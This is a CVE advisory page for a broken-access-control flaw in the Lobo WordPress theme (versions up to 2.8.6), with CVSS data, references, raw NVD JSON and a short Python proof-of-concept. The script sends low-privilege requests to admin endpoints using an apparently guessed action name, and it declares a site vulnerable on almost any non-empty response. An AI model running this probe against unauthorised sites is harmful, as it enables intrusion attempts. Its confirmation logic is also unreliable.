CVE-2025-66527

Description

Missing Authorization vulnerability in VanKarWai Lobo lobo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Lobo: from n/a through <= 2.8.6.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Lobo WordPress主题所有版本 <= 2.8.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66527 PoC - Lobo Theme Broken Access Control
import requests
import sys

target_url = "http://target-wordpress-site.com"

# 低权限用户会话（订阅者角色）
low_priv_session = requests.Session()
# 替换为有效的低权限用户凭证
low_priv_session.auth = ('subscriber_user', 'password')

def test_broken_access_control():
    """测试Lobo主题的访问控制漏洞"""
    
    # 尝试访问管理功能（正常情况下订阅者无权访问）
    endpoints = [
        f"{target_url}/wp-admin/admin-ajax.php",
        f"{target_url}/wp-admin/admin.php?page=lobo_settings",
    ]
    
    # 构造可疑请求参数
    payload = {
        'action': 'lobo_ajax_action',
        'security': 'test',
        'data': 'malicious_input'
    }
    
    for endpoint in endpoints:
        try:
            if 'admin-ajax' in endpoint:
                response = low_priv_session.post(endpoint, data=payload, timeout=10)
            else:
                response = low_priv_session.get(endpoint, timeout=10)
            
            # 检查响应状态和内容
            if response.status_code == 200:
                # 检查是否返回了敏感信息或成功执行了操作
                if 'success' in response.text.lower() or response.text != '':
                    print(f"[!] Potential vulnerability at: {endpoint}")
                    print(f"    Status: {response.status_code}")
                    print(f"    Response length: {len(response.text)}")
                    return True
        except requests.exceptions.RequestException as e:
            print(f"Error accessing {endpoint}: {e}")
    
    return False

if __name__ == "__main__":
    print("CVE-2025-66527 - Lobo Theme Broken Access Control Test")
    print("=" * 60)
    result = test_broken_access_control()
    if result:
        print("\n[!] Vulnerability confirmed - unauthorized access possible")
    else:
        print("\n[+] No obvious vulnerability detected (may need manual verification)")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66527
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66527
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66527/
[4] VulDB https://vuldb.com/cve/CVE-2025-66527
[5] https://patchstack.com/database/Wordpress/Theme/lobo/vulnerability/wordpress-lobo-theme-2-8-6-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66527", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:19.887", "lastModified": "2026-04-27T17:16:41.797", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in VanKarWai Lobo lobo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Lobo: from n/a through <= 2.8.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/lobo/vulnerability/wordpress-lobo-theme-2-8-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}